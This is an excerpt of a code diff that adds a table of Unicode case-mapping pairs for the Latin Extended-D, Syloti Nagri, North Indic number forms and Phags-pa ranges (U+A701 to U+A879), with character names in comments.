+ ["\uA701", "\uA701"], /* MODIFIER LETTER CHINESE TONE YANG PING */
+ ["\uA702", "\uA702"], /* MODIFIER LETTER CHINESE TONE YIN SHANG */
+ ["\uA703", "\uA703"], /* MODIFIER LETTER CHINESE TONE YANG SHANG */
+ ["\uA704", "\uA704"], /* MODIFIER LETTER CHINESE TONE YIN QU */
+ ["\uA705", "\uA705"], /* MODIFIER LETTER CHINESE TONE YANG QU */
+ ["\uA706", "\uA706"], /* MODIFIER LETTER CHINESE TONE YIN RU */
+ ["\uA707", "\uA707"], /* MODIFIER LETTER CHINESE TONE YANG RU */
+ ["\uA708", "\uA708"], /* MODIFIER LETTER EXTRA-HIGH DOTTED TONE BAR */
+ ["\uA709", "\uA709"], /* MODIFIER LETTER HIGH DOTTED TONE BAR */
+ ["\uA70A", "\uA70A"], /* MODIFIER LETTER MID DOTTED TONE BAR */
+ ["\uA70B", "\uA70B"], /* MODIFIER LETTER LOW DOTTED TONE BAR */
+ ["\uA70C", "\uA70C"], /* MODIFIER LETTER EXTRA-LOW DOTTED TONE BAR */
+ ["\uA70D", "\uA70D"], /* MODIFIER LETTER EXTRA-HIGH DOTTED LEFT-STEM TONE BAR */
+ ["\uA70E", "\uA70E"], /* MODIFIER LETTER HIGH DOTTED LEFT-STEM TONE BAR */
+ ["\uA70F", "\uA70F"], /* MODIFIER LETTER MID DOTTED LEFT-STEM TONE BAR */
+ ["\uA710", "\uA710"], /* MODIFIER LETTER LOW DOTTED LEFT-STEM TONE BAR */
+ ["\uA711", "\uA711"], /* MODIFIER LETTER EXTRA-LOW DOTTED LEFT-STEM TONE BAR */
+ ["\uA712", "\uA712"], /* MODIFIER LETTER EXTRA-HIGH LEFT-STEM TONE BAR */
+ ["\uA713", "\uA713"], /* MODIFIER LETTER HIGH LEFT-STEM TONE BAR */
+ ["\uA714", "\uA714"], /* MODIFIER LETTER MID LEFT-STEM TONE BAR */
+ ["\uA715", "\uA715"], /* MODIFIER LETTER LOW LEFT-STEM TONE BAR */
+ ["\uA716", "\uA716"], /* MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR */
+ ["\uA717", "\uA717"], /* MODIFIER LETTER DOT VERTICAL BAR */
+ ["\uA718", "\uA718"], /* MODIFIER LETTER DOT SLASH */
+ ["\uA719", "\uA719"], /* MODIFIER LETTER DOT HORIZONTAL BAR */
+ ["\uA71A", "\uA71A"], /* MODIFIER LETTER LOWER RIGHT CORNER ANGLE */
+ ["\uA71B", "\uA71B"], /* MODIFIER LETTER RAISED UP ARROW */
+ ["\uA71C", "\uA71C"], /* MODIFIER LETTER RAISED DOWN ARROW */
+ ["\uA71D", "\uA71D"], /* MODIFIER LETTER RAISED EXCLAMATION MARK */
+ ["\uA71E", "\uA71E"], /* MODIFIER LETTER RAISED INVERTED EXCLAMATION MARK */
+ ["\uA71F", "\uA71F"], /* MODIFIER LETTER LOW INVERTED EXCLAMATION MARK */
+ ["\uA720", "\uA720"], /* MODIFIER LETTER STRESS AND HIGH TONE */
+ ["\uA721", "\uA721"], /* MODIFIER LETTER STRESS AND LOW TONE */
+ ["\uA722", "\uA723"], /* LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF */
+ ["\uA722", "\uA723"], /* LATIN SMALL LETTER EGYPTOLOGICAL ALEF */
+ ["\uA724", "\uA725"], /* LATIN CAPITAL LETTER EGYPTOLOGICAL AIN */
+ ["\uA724", "\uA725"], /* LATIN SMALL LETTER EGYPTOLOGICAL AIN */
+ ["\uA726", "\uA727"], /* LATIN CAPITAL LETTER HENG */
+ ["\uA726", "\uA727"], /* LATIN SMALL LETTER HENG */
+ ["\uA728", "\uA729"], /* LATIN CAPITAL LETTER TZ */
+ ["\uA728", "\uA729"], /* LATIN SMALL LETTER TZ */
+ ["\uA72A", "\uA72B"], /* LATIN CAPITAL LETTER TRESILLO */
+ ["\uA72A", "\uA72B"], /* LATIN SMALL LETTER TRESILLO */
+ ["\uA72C", "\uA72D"], /* LATIN CAPITAL LETTER CUATRILLO */
+ ["\uA72C", "\uA72D"], /* LATIN SMALL LETTER CUATRILLO */
+ ["\uA72E", "\uA72F"], /* LATIN CAPITAL LETTER CUATRILLO WITH COMMA */
+ ["\uA72E", "\uA72F"], /* LATIN SMALL LETTER CUATRILLO WITH COMMA */
+ ["\uA730", "\uA730"], /* LATIN LETTER SMALL CAPITAL F */
+ ["\uA731", "\uA731"], /* LATIN LETTER SMALL CAPITAL S */
+ ["\uA732", "\uA733"], /* LATIN CAPITAL LETTER AA */
+ ["\uA732", "\uA733"], /* LATIN SMALL LETTER AA */
+ ["\uA734", "\uA735"], /* LATIN CAPITAL LETTER AO */
+ ["\uA734", "\uA735"], /* LATIN SMALL LETTER AO */
+ ["\uA736", "\uA737"], /* LATIN CAPITAL LETTER AU */
+ ["\uA736", "\uA737"], /* LATIN SMALL LETTER AU */
+ ["\uA738", "\uA739"], /* LATIN CAPITAL LETTER AV */
+ ["\uA738", "\uA739"], /* LATIN SMALL LETTER AV */
+ ["\uA73A", "\uA73B"], /* LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR */
+ ["\uA73A", "\uA73B"], /* LATIN SMALL LETTER AV WITH HORIZONTAL BAR */
+ ["\uA73C", "\uA73D"], /* LATIN CAPITAL LETTER AY */
+ ["\uA73C", "\uA73D"], /* LATIN SMALL LETTER AY */
+ ["\uA73E", "\uA73F"], /* LATIN CAPITAL LETTER REVERSED C WITH DOT */
+ ["\uA73E", "\uA73F"], /* LATIN SMALL LETTER REVERSED C WITH DOT */
+ ["\uA740", "\uA741"], /* LATIN CAPITAL LETTER K WITH STROKE */
+ ["\uA740", "\uA741"], /* LATIN SMALL LETTER K WITH STROKE */
+ ["\uA742", "\uA743"], /* LATIN CAPITAL LETTER K WITH DIAGONAL STROKE */
+ ["\uA742", "\uA743"], /* LATIN SMALL LETTER K WITH DIAGONAL STROKE */
+ ["\uA744", "\uA745"], /* LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE */
+ ["\uA744", "\uA745"], /* LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE */
+ ["\uA746", "\uA747"], /* LATIN CAPITAL LETTER BROKEN L */
+ ["\uA746", "\uA747"], /* LATIN SMALL LETTER BROKEN L */
+ ["\uA748", "\uA749"], /* LATIN CAPITAL LETTER L WITH HIGH STROKE */
+ ["\uA748", "\uA749"], /* LATIN SMALL LETTER L WITH HIGH STROKE */
+ ["\uA74A", "\uA74B"], /* LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY */
+ ["\uA74A", "\uA74B"], /* LATIN SMALL LETTER O WITH LONG STROKE OVERLAY */
+ ["\uA74C", "\uA74D"], /* LATIN CAPITAL LETTER O WITH LOOP */
+ ["\uA74C", "\uA74D"], /* LATIN SMALL LETTER O WITH LOOP */
+ ["\uA74E", "\uA74F"], /* LATIN CAPITAL LETTER OO */
+ ["\uA74E", "\uA74F"], /* LATIN SMALL LETTER OO */
+ ["\uA750", "\uA751"], /* LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER */
+ ["\uA750", "\uA751"], /* LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER */
+ ["\uA752", "\uA753"], /* LATIN CAPITAL LETTER P WITH FLOURISH */
+ ["\uA752", "\uA753"], /* LATIN SMALL LETTER P WITH FLOURISH */
+ ["\uA754", "\uA755"], /* LATIN CAPITAL LETTER P WITH SQUIRREL TAIL */
+ ["\uA754", "\uA755"], /* LATIN SMALL LETTER P WITH SQUIRREL TAIL */
+ ["\uA756", "\uA757"], /* LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER */
+ ["\uA756", "\uA757"], /* LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER */
+ ["\uA758", "\uA759"], /* LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE */
+ ["\uA758", "\uA759"], /* LATIN SMALL LETTER Q WITH DIAGONAL STROKE */
+ ["\uA75A", "\uA75B"], /* LATIN CAPITAL LETTER R ROTUNDA */
+ ["\uA75A", "\uA75B"], /* LATIN SMALL LETTER R ROTUNDA */
+ ["\uA75C", "\uA75D"], /* LATIN CAPITAL LETTER RUM ROTUNDA */
+ ["\uA75C", "\uA75D"], /* LATIN SMALL LETTER RUM ROTUNDA */
+ ["\uA75E", "\uA75F"], /* LATIN CAPITAL LETTER V WITH DIAGONAL STROKE */
+ ["\uA75E", "\uA75F"], /* LATIN SMALL LETTER V WITH DIAGONAL STROKE */
+ ["\uA760", "\uA761"], /* LATIN CAPITAL LETTER VY */
+ ["\uA760", "\uA761"], /* LATIN SMALL LETTER VY */
+ ["\uA762", "\uA763"], /* LATIN CAPITAL LETTER VISIGOTHIC Z */
+ ["\uA762", "\uA763"], /* LATIN SMALL LETTER VISIGOTHIC Z */
+ ["\uA764", "\uA765"], /* LATIN CAPITAL LETTER THORN WITH STROKE */
+ ["\uA764", "\uA765"], /* LATIN SMALL LETTER THORN WITH STROKE */
+ ["\uA766", "\uA767"], /* LATIN CAPITAL LETTER THORN WITH STROKE THROUGH DESCENDER */
+ ["\uA766", "\uA767"], /* LATIN SMALL LETTER THORN WITH STROKE THROUGH DESCENDER */
+ ["\uA768", "\uA769"], /* LATIN CAPITAL LETTER VEND */
+ ["\uA768", "\uA769"], /* LATIN SMALL LETTER VEND */
+ ["\uA76A", "\uA76B"], /* LATIN CAPITAL LETTER ET */
+ ["\uA76A", "\uA76B"], /* LATIN SMALL LETTER ET */
+ ["\uA76C", "\uA76D"], /* LATIN CAPITAL LETTER IS */
+ ["\uA76C", "\uA76D"], /* LATIN SMALL LETTER IS */
+ ["\uA76E", "\uA76F"], /* LATIN CAPITAL LETTER CON */
+ ["\uA76E", "\uA76F"], /* LATIN SMALL LETTER CON */
+ ["\uA770", "\uA770"], /* MODIFIER LETTER US */
+ ["\uA771", "\uA771"], /* LATIN SMALL LETTER DUM */
+ ["\uA772", "\uA772"], /* LATIN SMALL LETTER LUM */
+ ["\uA773", "\uA773"], /* LATIN SMALL LETTER MUM */
+ ["\uA774", "\uA774"], /* LATIN SMALL LETTER NUM */
+ ["\uA775", "\uA775"], /* LATIN SMALL LETTER RUM */
+ ["\uA776", "\uA776"], /* LATIN LETTER SMALL CAPITAL RUM */
+ ["\uA777", "\uA777"], /* LATIN SMALL LETTER TUM */
+ ["\uA778", "\uA778"], /* LATIN SMALL LETTER UM */
+ ["\uA779", "\uA77A"], /* LATIN CAPITAL LETTER INSULAR D */
+ ["\uA779", "\uA77A"], /* LATIN SMALL LETTER INSULAR D */
+ ["\uA77B", "\uA77C"], /* LATIN CAPITAL LETTER INSULAR F */
+ ["\uA77B", "\uA77C"], /* LATIN SMALL LETTER INSULAR F */
+ ["\uA77D", "\u1D79"], /* LATIN CAPITAL LETTER INSULAR G */
+ ["\uA77E", "\uA77F"], /* LATIN CAPITAL LETTER TURNED INSULAR G */
+ ["\uA77E", "\uA77F"], /* LATIN SMALL LETTER TURNED INSULAR G */
+ ["\uA780", "\uA781"], /* LATIN CAPITAL LETTER TURNED L */
+ ["\uA780", "\uA781"], /* LATIN SMALL LETTER TURNED L */
+ ["\uA782", "\uA783"], /* LATIN CAPITAL LETTER INSULAR R */
+ ["\uA782", "\uA783"], /* LATIN SMALL LETTER INSULAR R */
+ ["\uA784", "\uA785"], /* LATIN CAPITAL LETTER INSULAR S */
+ ["\uA784", "\uA785"], /* LATIN SMALL LETTER INSULAR S */
+ ["\uA786", "\uA787"], /* LATIN CAPITAL LETTER INSULAR T */
+ ["\uA786", "\uA787"], /* LATIN SMALL LETTER INSULAR T */
+ ["\uA788", "\uA788"], /* MODIFIER LETTER LOW CIRCUMFLEX ACCENT */
+ ["\uA789", "\uA789"], /* MODIFIER LETTER COLON */
+ ["\uA78A", "\uA78A"], /* MODIFIER LETTER SHORT EQUALS SIGN */
+ ["\uA78B", "\uA78C"], /* LATIN CAPITAL LETTER SALTILLO */
+ ["\uA78B", "\uA78C"], /* LATIN SMALL LETTER SALTILLO */
+ ["\uA78D", "\u0265"], /* LATIN CAPITAL LETTER TURNED H */
+ ["\uA78E", "\uA78E"], /* LATIN SMALL LETTER L WITH RETROFLEX HOOK AND BELT */
+ ["\uA78F", "\uA78F"], /* LATIN LETTER SINOLOGICAL DOT */
+ ["\uA790", "\uA791"], /* LATIN CAPITAL LETTER N WITH DESCENDER */
+ ["\uA790", "\uA791"], /* LATIN SMALL LETTER N WITH DESCENDER */
+ ["\uA792", "\uA793"], /* LATIN CAPITAL LETTER C WITH BAR */
+ ["\uA792", "\uA793"], /* LATIN SMALL LETTER C WITH BAR */
+ ["\uA7C4", "\uA794"], /* LATIN SMALL LETTER C WITH PALATAL HOOK */
+ ["\uA795", "\uA795"], /* LATIN SMALL LETTER H WITH PALATAL HOOK */
+ ["\uA796", "\uA797"], /* LATIN CAPITAL LETTER B WITH FLOURISH */
+ ["\uA796", "\uA797"], /* LATIN SMALL LETTER B WITH FLOURISH */
+ ["\uA798", "\uA799"], /* LATIN CAPITAL LETTER F WITH STROKE */
+ ["\uA798", "\uA799"], /* LATIN SMALL LETTER F WITH STROKE */
+ ["\uA79A", "\uA79B"], /* LATIN CAPITAL LETTER VOLAPUK AE */
+ ["\uA79A", "\uA79B"], /* LATIN SMALL LETTER VOLAPUK AE */
+ ["\uA79C", "\uA79D"], /* LATIN CAPITAL LETTER VOLAPUK OE */
+ ["\uA79C", "\uA79D"], /* LATIN SMALL LETTER VOLAPUK OE */
+ ["\uA79E", "\uA79F"], /* LATIN CAPITAL LETTER VOLAPUK UE */
+ ["\uA79E", "\uA79F"], /* LATIN SMALL LETTER VOLAPUK UE */
+ ["\uA7A0", "\uA7A1"], /* LATIN CAPITAL LETTER G WITH OBLIQUE STROKE */
+ ["\uA7A0", "\uA7A1"], /* LATIN SMALL LETTER G WITH OBLIQUE STROKE */
+ ["\uA7A2", "\uA7A3"], /* LATIN CAPITAL LETTER K WITH OBLIQUE STROKE */
+ ["\uA7A2", "\uA7A3"], /* LATIN SMALL LETTER K WITH OBLIQUE STROKE */
+ ["\uA7A4", "\uA7A5"], /* LATIN CAPITAL LETTER N WITH OBLIQUE STROKE */
+ ["\uA7A4", "\uA7A5"], /* LATIN SMALL LETTER N WITH OBLIQUE STROKE */
+ ["\uA7A6", "\uA7A7"], /* LATIN CAPITAL LETTER R WITH OBLIQUE STROKE */
+ ["\uA7A6", "\uA7A7"], /* LATIN SMALL LETTER R WITH OBLIQUE STROKE */
+ ["\uA7A8", "\uA7A9"], /* LATIN CAPITAL LETTER S WITH OBLIQUE STROKE */
+ ["\uA7A8", "\uA7A9"], /* LATIN SMALL LETTER S WITH OBLIQUE STROKE */
+ ["\uA7AA", "\u0266"], /* LATIN CAPITAL LETTER H WITH HOOK */
+ ["\uA7AB", "\u025C"], /* LATIN CAPITAL LETTER REVERSED OPEN E */
+ ["\uA7AC", "\u0261"], /* LATIN CAPITAL LETTER SCRIPT G */
+ ["\uA7AD", "\u026C"], /* LATIN CAPITAL LETTER L WITH BELT */
+ ["\uA7AE", "\u026A"], /* LATIN CAPITAL LETTER SMALL CAPITAL I */
+ ["\uA7AF", "\uA7AF"], /* LATIN LETTER SMALL CAPITAL Q */
+ ["\uA7B0", "\u029E"], /* LATIN CAPITAL LETTER TURNED K */
+ ["\uA7B1", "\u0287"], /* LATIN CAPITAL LETTER TURNED T */
+ ["\uA7B2", "\u029D"], /* LATIN CAPITAL LETTER J WITH CROSSED-TAIL */
+ ["\uA7B3", "\uAB53"], /* LATIN CAPITAL LETTER CHI */
+ ["\uA7B4", "\uA7B5"], /* LATIN CAPITAL LETTER BETA */
+ ["\uA7B4", "\uA7B5"], /* LATIN SMALL LETTER BETA */
+ ["\uA7B6", "\uA7B7"], /* LATIN CAPITAL LETTER OMEGA */
+ ["\uA7B6", "\uA7B7"], /* LATIN SMALL LETTER OMEGA */
+ ["\uA7B8", "\uA7B9"], /* LATIN CAPITAL LETTER U WITH STROKE */
+ ["\uA7B8", "\uA7B9"], /* LATIN SMALL LETTER U WITH STROKE */
+ ["\uA7BA", "\uA7BB"], /* LATIN CAPITAL LETTER GLOTTAL A */
+ ["\uA7BA", "\uA7BB"], /* LATIN SMALL LETTER GLOTTAL A */
+ ["\uA7BC", "\uA7BD"], /* LATIN CAPITAL LETTER GLOTTAL I */
+ ["\uA7BC", "\uA7BD"], /* LATIN SMALL LETTER GLOTTAL I */
+ ["\uA7BE", "\uA7BF"], /* LATIN CAPITAL LETTER GLOTTAL U */
+ ["\uA7BE", "\uA7BF"], /* LATIN SMALL LETTER GLOTTAL U */
+ ["\uA7C0", "\uA7C1"], /* LATIN CAPITAL LETTER OLD POLISH O */
+ ["\uA7C0", "\uA7C1"], /* LATIN SMALL LETTER OLD POLISH O */
+ ["\uA7C2", "\uA7C3"], /* LATIN CAPITAL LETTER ANGLICANA W */
+ ["\uA7C2", "\uA7C3"], /* LATIN SMALL LETTER ANGLICANA W */
+ ["\uA7C4", "\uA794"], /* LATIN CAPITAL LETTER C WITH PALATAL HOOK */
+ ["\uA7C5", "\u0282"], /* LATIN CAPITAL LETTER S WITH HOOK */
+ ["\uA7C6", "\u1D8E"], /* LATIN CAPITAL LETTER Z WITH PALATAL HOOK */
+ ["\uA7C7", "\uA7C8"], /* LATIN CAPITAL LETTER D WITH SHORT STROKE OVERLAY */
+ ["\uA7C7", "\uA7C8"], /* LATIN SMALL LETTER D WITH SHORT STROKE OVERLAY */
+ ["\uA7C9", "\uA7CA"], /* LATIN CAPITAL LETTER S WITH SHORT STROKE OVERLAY */
+ ["\uA7C9", "\uA7CA"], /* LATIN SMALL LETTER S WITH SHORT STROKE OVERLAY */
+ ["\uA7CB", "\uA7CB"],
+ ["\uA7CC", "\uA7CC"],
+ ["\uA7CD", "\uA7CD"],
+ ["\uA7CE", "\uA7CE"],
+ ["\uA7CF", "\uA7CF"],
+ ["\uA7D0", "\uA7D1"], /* LATIN CAPITAL LETTER CLOSED INSULAR G */
+ ["\uA7D0", "\uA7D1"], /* LATIN SMALL LETTER CLOSED INSULAR G */
+ ["\uA7D2", "\uA7D2"],
+ ["\uA7D3", "\uA7D3"], /* LATIN SMALL LETTER DOUBLE THORN */
+ ["\uA7D4", "\uA7D4"],
+ ["\uA7D5", "\uA7D5"], /* LATIN SMALL LETTER DOUBLE WYNN */
+ ["\uA7D6", "\uA7D7"], /* LATIN CAPITAL LETTER MIDDLE SCOTS S */
+ ["\uA7D6", "\uA7D7"], /* LATIN SMALL LETTER MIDDLE SCOTS S */
+ ["\uA7D8", "\uA7D9"], /* LATIN CAPITAL LETTER SIGMOID S */
+ ["\uA7D8", "\uA7D9"], /* LATIN SMALL LETTER SIGMOID S */
+ ["\uA7DA", "\uA7DA"],
+ ["\uA7DB", "\uA7DB"],
+ ["\uA7DC", "\uA7DC"],
+ ["\uA7DD", "\uA7DD"],
+ ["\uA7DE", "\uA7DE"],
+ ["\uA7DF", "\uA7DF"],
+ ["\uA7E0", "\uA7E0"],
+ ["\uA7E1", "\uA7E1"],
+ ["\uA7E2", "\uA7E2"],
+ ["\uA7E3", "\uA7E3"],
+ ["\uA7E4", "\uA7E4"],
+ ["\uA7E5", "\uA7E5"],
+ ["\uA7E6", "\uA7E6"],
+ ["\uA7E7", "\uA7E7"],
+ ["\uA7E8", "\uA7E8"],
+ ["\uA7E9", "\uA7E9"],
+ ["\uA7EA", "\uA7EA"],
+ ["\uA7EB", "\uA7EB"],
+ ["\uA7EC", "\uA7EC"],
+ ["\uA7ED", "\uA7ED"],
+ ["\uA7EE", "\uA7EE"],
+ ["\uA7EF", "\uA7EF"],
+ ["\uA7F0", "\uA7F0"],
+ ["\uA7F1", "\uA7F1"],
+ ["\uA7F2", "\uA7F2"], /* MODIFIER LETTER CAPITAL C */
+ ["\uA7F3", "\uA7F3"], /* MODIFIER LETTER CAPITAL F */
+ ["\uA7F4", "\uA7F4"], /* MODIFIER LETTER CAPITAL Q */
+ ["\uA7F5", "\uA7F6"], /* LATIN CAPITAL LETTER REVERSED HALF H */
+ ["\uA7F5", "\uA7F6"], /* LATIN SMALL LETTER REVERSED HALF H */
+ ["\uA7F7", "\uA7F7"], /* LATIN EPIGRAPHIC LETTER SIDEWAYS I */
+ ["\uA7F8", "\uA7F8"], /* MODIFIER LETTER CAPITAL H WITH STROKE */
+ ["\uA7F9", "\uA7F9"], /* MODIFIER LETTER SMALL LIGATURE OE */
+ ["\uA7FA", "\uA7FA"], /* LATIN LETTER SMALL CAPITAL TURNED M */
+ ["\uA7FB", "\uA7FB"], /* LATIN EPIGRAPHIC LETTER REVERSED F */
+ ["\uA7FC", "\uA7FC"], /* LATIN EPIGRAPHIC LETTER REVERSED P */
+ ["\uA7FD", "\uA7FD"], /* LATIN EPIGRAPHIC LETTER INVERTED M */
+ ["\uA7FE", "\uA7FE"], /* LATIN EPIGRAPHIC LETTER I LONGA */
+ ["\uA7FF", "\uA7FF"], /* LATIN EPIGRAPHIC LETTER ARCHAIC M */
+ ["\uA800", "\uA800"], /* SYLOTI NAGRI LETTER A */
+ ["\uA801", "\uA801"], /* SYLOTI NAGRI LETTER I */
+ ["\uA802", "\uA802"], /* SYLOTI NAGRI SIGN DVISVARA */
+ ["\uA803", "\uA803"], /* SYLOTI NAGRI LETTER U */
+ ["\uA804", "\uA804"], /* SYLOTI NAGRI LETTER E */
+ ["\uA805", "\uA805"], /* SYLOTI NAGRI LETTER O */
+ ["\uA806", "\uA806"], /* SYLOTI NAGRI SIGN HASANTA */
+ ["\uA807", "\uA807"], /* SYLOTI NAGRI LETTER KO */
+ ["\uA808", "\uA808"], /* SYLOTI NAGRI LETTER KHO */
+ ["\uA809", "\uA809"], /* SYLOTI NAGRI LETTER GO */
+ ["\uA80A", "\uA80A"], /* SYLOTI NAGRI LETTER GHO */
+ ["\uA80B", "\uA80B"], /* SYLOTI NAGRI SIGN ANUSVARA */
+ ["\uA80C", "\uA80C"], /* SYLOTI NAGRI LETTER CO */
+ ["\uA80D", "\uA80D"], /* SYLOTI NAGRI LETTER CHO */
+ ["\uA80E", "\uA80E"], /* SYLOTI NAGRI LETTER JO */
+ ["\uA80F", "\uA80F"], /* SYLOTI NAGRI LETTER JHO */
+ ["\uA810", "\uA810"], /* SYLOTI NAGRI LETTER TTO */
+ ["\uA811", "\uA811"], /* SYLOTI NAGRI LETTER TTHO */
+ ["\uA812", "\uA812"], /* SYLOTI NAGRI LETTER DDO */
+ ["\uA813", "\uA813"], /* SYLOTI NAGRI LETTER DDHO */
+ ["\uA814", "\uA814"], /* SYLOTI NAGRI LETTER TO */
+ ["\uA815", "\uA815"], /* SYLOTI NAGRI LETTER THO */
+ ["\uA816", "\uA816"], /* SYLOTI NAGRI LETTER DO */
+ ["\uA817", "\uA817"], /* SYLOTI NAGRI LETTER DHO */
+ ["\uA818", "\uA818"], /* SYLOTI NAGRI LETTER NO */
+ ["\uA819", "\uA819"], /* SYLOTI NAGRI LETTER PO */
+ ["\uA81A", "\uA81A"], /* SYLOTI NAGRI LETTER PHO */
+ ["\uA81B", "\uA81B"], /* SYLOTI NAGRI LETTER BO */
+ ["\uA81C", "\uA81C"], /* SYLOTI NAGRI LETTER BHO */
+ ["\uA81D", "\uA81D"], /* SYLOTI NAGRI LETTER MO */
+ ["\uA81E", "\uA81E"], /* SYLOTI NAGRI LETTER RO */
+ ["\uA81F", "\uA81F"], /* SYLOTI NAGRI LETTER LO */
+ ["\uA820", "\uA820"], /* SYLOTI NAGRI LETTER RRO */
+ ["\uA821", "\uA821"], /* SYLOTI NAGRI LETTER SO */
+ ["\uA822", "\uA822"], /* SYLOTI NAGRI LETTER HO */
+ ["\uA823", "\uA823"], /* SYLOTI NAGRI VOWEL SIGN A */
+ ["\uA824", "\uA824"], /* SYLOTI NAGRI VOWEL SIGN I */
+ ["\uA825", "\uA825"], /* SYLOTI NAGRI VOWEL SIGN U */
+ ["\uA826", "\uA826"], /* SYLOTI NAGRI VOWEL SIGN E */
+ ["\uA827", "\uA827"], /* SYLOTI NAGRI VOWEL SIGN OO */
+ ["\uA828", "\uA828"], /* SYLOTI NAGRI POETRY MARK-1 */
+ ["\uA829", "\uA829"], /* SYLOTI NAGRI POETRY MARK-2 */
+ ["\uA82A", "\uA82A"], /* SYLOTI NAGRI POETRY MARK-3 */
+ ["\uA82B", "\uA82B"], /* SYLOTI NAGRI POETRY MARK-4 */
+ ["\uA82C", "\uA82C"], /* SYLOTI NAGRI SIGN ALTERNATE HASANTA */
+ ["\uA82D", "\uA82D"],
+ ["\uA82E", "\uA82E"],
+ ["\uA82F", "\uA82F"],
+ ["\uA830", "\uA830"], /* NORTH INDIC FRACTION ONE QUARTER */
+ ["\uA831", "\uA831"], /* NORTH INDIC FRACTION ONE HALF */
+ ["\uA832", "\uA832"], /* NORTH INDIC FRACTION THREE QUARTERS */
+ ["\uA833", "\uA833"], /* NORTH INDIC FRACTION ONE SIXTEENTH */
+ ["\uA834", "\uA834"], /* NORTH INDIC FRACTION ONE EIGHTH */
+ ["\uA835", "\uA835"], /* NORTH INDIC FRACTION THREE SIXTEENTHS */
+ ["\uA836", "\uA836"], /* NORTH INDIC QUARTER MARK */
+ ["\uA837", "\uA837"], /* NORTH INDIC PLACEHOLDER MARK */
+ ["\uA838", "\uA838"], /* NORTH INDIC RUPEE MARK */
+ ["\uA839", "\uA839"], /* NORTH INDIC QUANTITY MARK */
+ ["\uA83A", "\uA83A"],
+ ["\uA83B", "\uA83B"],
+ ["\uA83C", "\uA83C"],
+ ["\uA83D", "\uA83D"],
+ ["\uA83E", "\uA83E"],
+ ["\uA83F", "\uA83F"],
+ ["\uA840", "\uA840"], /* PHAGS-PA LETTER KA */
+ ["\uA841", "\uA841"], /* PHAGS-PA LETTER KHA */
+ ["\uA842", "\uA842"], /* PHAGS-PA LETTER GA */
+ ["\uA843", "\uA843"], /* PHAGS-PA LETTER NGA */
+ ["\uA844", "\uA844"], /* PHAGS-PA LETTER CA */
+ ["\uA845", "\uA845"], /* PHAGS-PA LETTER CHA */
+ ["\uA846", "\uA846"], /* PHAGS-PA LETTER JA */
+ ["\uA847", "\uA847"], /* PHAGS-PA LETTER NYA */
+ ["\uA848", "\uA848"], /* PHAGS-PA LETTER TA */
+ ["\uA849", "\uA849"], /* PHAGS-PA LETTER THA */
+ ["\uA84A", "\uA84A"], /* PHAGS-PA LETTER DA */
+ ["\uA84B", "\uA84B"], /* PHAGS-PA LETTER NA */
+ ["\uA84C", "\uA84C"], /* PHAGS-PA LETTER PA */
+ ["\uA84D", "\uA84D"], /* PHAGS-PA LETTER PHA */
+ ["\uA84E", "\uA84E"], /* PHAGS-PA LETTER BA */
+ ["\uA84F", "\uA84F"], /* PHAGS-PA LETTER MA */
+ ["\uA850", "\uA850"], /* PHAGS-PA LETTER TSA */
+ ["\uA851", "\uA851"], /* PHAGS-PA LETTER TSHA */
+ ["\uA852", "\uA852"], /* PHAGS-PA LETTER DZA */
+ ["\uA853", "\uA853"], /* PHAGS-PA LETTER WA */
+ ["\uA854", "\uA854"], /* PHAGS-PA LETTER ZHA */
+ ["\uA855", "\uA855"], /* PHAGS-PA LETTER ZA */
+ ["\uA856", "\uA856"], /* PHAGS-PA LETTER SMALL A */
+ ["\uA857", "\uA857"], /* PHAGS-PA LETTER YA */
+ ["\uA858", "\uA858"], /* PHAGS-PA LETTER RA */
+ ["\uA859", "\uA859"], /* PHAGS-PA LETTER LA */
+ ["\uA85A", "\uA85A"], /* PHAGS-PA LETTER SHA */
+ ["\uA85B", "\uA85B"], /* PHAGS-PA LETTER SA */
+ ["\uA85C", "\uA85C"], /* PHAGS-PA LETTER HA */
+ ["\uA85D", "\uA85D"], /* PHAGS-PA LETTER A */
+ ["\uA85E", "\uA85E"], /* PHAGS-PA LETTER I */
+ ["\uA85F", "\uA85F"], /* PHAGS-PA LETTER U */
+ ["\uA860", "\uA860"], /* PHAGS-PA LETTER E */
+ ["\uA861", "\uA861"], /* PHAGS-PA LETTER O */
+ ["\uA862", "\uA862"], /* PHAGS-PA LETTER QA */
+ ["\uA863", "\uA863"], /* PHAGS-PA LETTER XA */
+ ["\uA864", "\uA864"], /* PHAGS-PA LETTER FA */
+ ["\uA865", "\uA865"], /* PHAGS-PA LETTER GGA */
+ ["\uA866", "\uA866"], /* PHAGS-PA LETTER EE */
+ ["\uA867", "\uA867"], /* PHAGS-PA SUBJOINED LETTER WA */
+ ["\uA868", "\uA868"], /* PHAGS-PA SUBJOINED LETTER YA */
+ ["\uA869", "\uA869"], /* PHAGS-PA LETTER TTA */
+ ["\uA86A", "\uA86A"], /* PHAGS-PA LETTER TTHA */
+ ["\uA86B", "\uA86B"], /* PHAGS-PA LETTER DDA */
+ ["\uA86C", "\uA86C"], /* PHAGS-PA LETTER NNA */
+ ["\uA86D", "\uA86D"], /* PHAGS-PA LETTER ALTERNATE YA */
+ ["\uA86E", "\uA86E"], /* PHAGS-PA LETTER VOICELESS SHA */
+ ["\uA86F", "\uA86F"], /* PHAGS-PA LETTER VOICED HA */
+ ["\uA870", "\uA870"], /* PHAGS-PA LETTER ASPIRATED FA */
+ ["\uA871", "\uA871"], /* PHAGS-PA SUBJOINED LETTER RA */
+ ["\uA872", "\uA872"], /* PHAGS-PA SUPERFIXED LETTER RA */
+ ["\uA873", "\uA873"], /* PHAGS-PA LETTER CANDRABINDU */
+ ["\uA874", "\uA874"], /* PHAGS-PA SINGLE HEAD MARK */
+ ["\uA875", "\uA875"], /* PHAGS-PA DOUBLE HEAD MARK */
+ ["\uA876", "\uA876"], /* PHAGS-PA MARK SHAD */
+ ["\uA877", "\uA877"], /* PHAGS-PA MARK DOUBLE SHAD */
+ ["\uA878", "\uA878"],
+ ["\uA879", "\uA879"],
